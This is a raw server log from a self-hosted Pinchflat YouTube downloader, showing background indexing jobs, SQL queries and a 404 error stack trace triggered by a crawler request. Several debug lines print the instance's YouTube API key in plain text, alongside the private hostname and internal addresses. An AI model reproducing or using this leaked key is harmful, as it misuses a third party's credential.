livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [13] 16:54:24.767 [debug] QUERY OK source="tasks" db=0.1ms idle=335.1ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268333, 13, ~U[2026-10-09 21:54:24Z], ~U[2026-10-09 21:54:24Z]] 16:54:24.767 [info] {"args":{"id":13},"id":5268292,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":338192,"event":"job:stop","queue_time":471073,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:54:35.691 [info] GET /sources/28/media/1577900/force_download 16:54:35.692 [debug] QUERY OK source="settings" db=0.1ms idle=1345.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:54:35.692 [debug] QUERY OK source="settings" db=0.0ms idle=1345.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:54:35.692 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:54:35.692 [error] #PID<0.30050.0> running PinchflatWeb.Endpoint (connection #PID<0.30049.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /sources/28/media/1577900/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/28/media/1577900/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.30049.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/28/media/1577900/force_download", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 43584}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.217.89", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "216.73.217.89" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.30050.0>, params: %{}, path_info: ["sources", "28", "media", "1577900", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, zstd, deflate"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"}, {"x-forwarded-for", "216.73.217.89"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "216.73.217.89"} ], request_path: "/sources/28/media/1577900/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz7IhtHmI8CnCEABxWh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.30049.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/28/media/1577900/force_download", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 43584}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.217.89", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "216.73.217.89" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/28/media/1577900/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.30049.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/28/media/1577900/force_download", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 43584}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.217.89", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "216.73.217.89" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.30050.0>, params: %{}, path_info: ["sources", "28", "media", "1577900", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, zstd, deflate"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"}, {"x-forwarded-for", "216.73.217.89"}, {"x-forwarded-proto", "https"}, {"x-f (truncated) 16:54:45.311 [info] {"source":"oban","duration":9765,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:54:58.463 [info] {"args":{"id":9},"id":5268293,"meta":{},"system_time":1791582898463750447,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:54:58.463 [info] {"args":{"id":17},"id":5268294,"meta":{},"system_time":1791582898463799369,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:54:58.464 [debug] QUERY OK source="sources" db=0.1ms idle=117.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [9] 16:54:58.464 [debug] QUERY OK source="sources" db=0.2ms idle=117.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [17] 16:54:58.464 [debug] QUERY OK source="settings" db=0.1ms idle=117.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:54:58.464 [debug] QUERY OK source="settings" db=0.2ms idle=6.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:54:58.464 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:54:58.464 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:54:58.464 [debug] QUERY OK source="settings" db=0.0ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:54:58.464 [debug] Fetching recent media IDs from YouTube API for playlist: UUY1kMZp36IQSyNx_9h4mpCg 16:54:58.464 [debug] QUERY OK source="settings" db=0.0ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:54:58.464 [debug] Fetching recent media IDs from YouTube API for playlist: UUHC4G4X-OR5WkY-IquRGa3Q 16:54:58.464 [debug] QUERY OK source="settings" db=0.0ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:54:58.465 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:54:58.465 [debug] QUERY OK source="settings" db=0.0ms idle=0.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:54:58.465 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:54:58.752 [debug] QUERY OK source="media_items" db=0.6ms idle=286.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [9, "5N17EbYJBwQ", "tbWTiZlwJ3M", "_L1Rim7-IPo", "NUVkpWAD548", "67LFeTgFv3Y", "KLJxCWeYGoE", "KwqeKTM9M_8", "0BAkKJ_3Tic", "GRbokvmv-2M", "q3nD5qD758o", "eMG3FWEwJnk", "--LXDh44cBQ", "h0EGCnBjTVk", "L0R-Ac1XRyk", "GF_qEM_vUwo", "3Y7o9IgliYk", "NnvIwG0S8WE", "IEJALLQFmDs", "6VCyrdMLrcY", "S7UM5lSgAg8", "GOmQwinZKtE", "wJMrk69WOdw", "VZ0oIzvzkGI", "Xg1ro-zG7AM", "YPOfYntrrcU", "9BsQpGhwVAY", "kgSHJhX6ly0", "X_rh2S74UJs", "c4dH8MpXYH4", "lSDoCbQsKxY", "qsJgJjOG5tY", "lNOjw3KRsqg", "oZOCmEDROHY", "AGUO3YQ_Y38", "jjpjjcMeujM", "jfUU24gaqNg", "pLtHyLlLt4Y", "PrWBvvwZ-4o", "0XgcOz95hTs", "ZGhPz6FINWA", "oSfubCtcyHo", "q2C1JpQi5G4", "mnDe3BaEBxc", "D1sCU41SRVU", "3x0MQxcYqmE", "dmr0Q5ambKk", "uDVygnvQzLI", "prjayUu9qMQ", "mJZldCMZhyA", ...] 16:54:58.753 [debug] QUERY OK source="media_items" db=0.6ms idle=288.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [9] 16:54:58.754 [debug] QUERY OK source="tasks" db=0.1ms idle=289.3ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268334, 9, ~U[2026-10-09 21:54:58Z], ~U[2026-10-09 21:54:58Z]] 16:54:58.754 [info] {"args":{"id":9},"id":5268293,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":290772,"event":"job:stop","queue_time":446914,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:54:59.036 [debug] QUERY OK source="media_items" db=0.4ms idle=281.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [17, "MvbAEEBLva8", "ZmWREtcDVBE", "qvot0oeaH_4", "uYLwEcxsDkI", "S9GJRC5XSXc", "AbTDzPUDxqY", "GdxFY_wtiOI", "NuEgjAMfdIY", "JYsDN6-XRrc", "nEU3gajt5aA", "0sowY00Ld_Y", "LN1CdJxY2_I", "RhOTMyzTDJw", "FU9J6mrKE28", "-BdZPFzH2JY", "Tvflpm-shoY", "qG04nqjL_iA", "T4tcZAduiVk", "icQmJ4Ty0Os", "GmC05wOc5Dw", "EwXx1AgEVA0", "gmqUvDGRKhk", "9GxXjTQSrLU", "rs1WF2SkjuY", "7EwRD6SzXws", "HZCwg_9zq2A", "2QKPQ6JYVhU", "P7GKK3liv8M", "TaFTKRjMY68", "e2HUg144liM", "Z-iNAyu-ejo", "9KOZUw_Ah8w", "rK2locyo-Pc", "N9OKVCt8dOM", "d9zHO6Lh2zY"] 16:54:59.036 [debug] QUERY OK source="media_items" db=0.2ms idle=282.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [17] 16:54:59.037 [debug] QUERY OK source="tasks" db=0.1ms idle=276.4ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268335, 17, ~U[2026-10-09 21:54:59Z], ~U[2026-10-09 21:54:59Z]] 16:54:59.037 [info] {"args":{"id":17},"id":5268294,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":573929,"event":"job:stop","queue_time":336647,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:54:59.464 [info] {"args":{"id":11},"id":5268295,"meta":{},"system_time":1791582899464182852,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:54:59.464 [info] {"args":{"id":26},"id":5268296,"meta":{},"system_time":1791582899464233556,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:54:59.464 [debug] QUERY OK source="sources" db=0.2ms idle=426.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [11] 16:54:59.464 [debug] QUERY OK source="sources" db=0.1ms idle=426.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [26] 16:54:59.464 [debug] QUERY OK source="settings" db=0.1ms idle=420.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:54:59.464 [debug] QUERY OK source="settings" db=0.1ms idle=6.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:54:59.465 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:54:59.465 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:54:59.465 [debug] QUERY OK source="settings" db=0.0ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:54:59.465 [debug] Fetching recent media IDs from YouTube API for playlist: UUSOpcUkE-is7u7c4AkLgqTw 16:54:59.465 [debug] QUERY OK source="settings" db=0.0ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:54:59.465 [debug] Fetching recent media IDs from YouTube API for playlist: UUK_8UoKJNYcQE9OdW5v-Ueg 16:54:59.465 [debug] QUERY OK source="settings" db=0.0ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:54:59.465 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:54:59.465 [debug] QUERY OK source="settings" db=0.0ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:54:59.465 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:54:59.582 [debug] QUERY OK source="media_items" db=0.5ms idle=116.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", 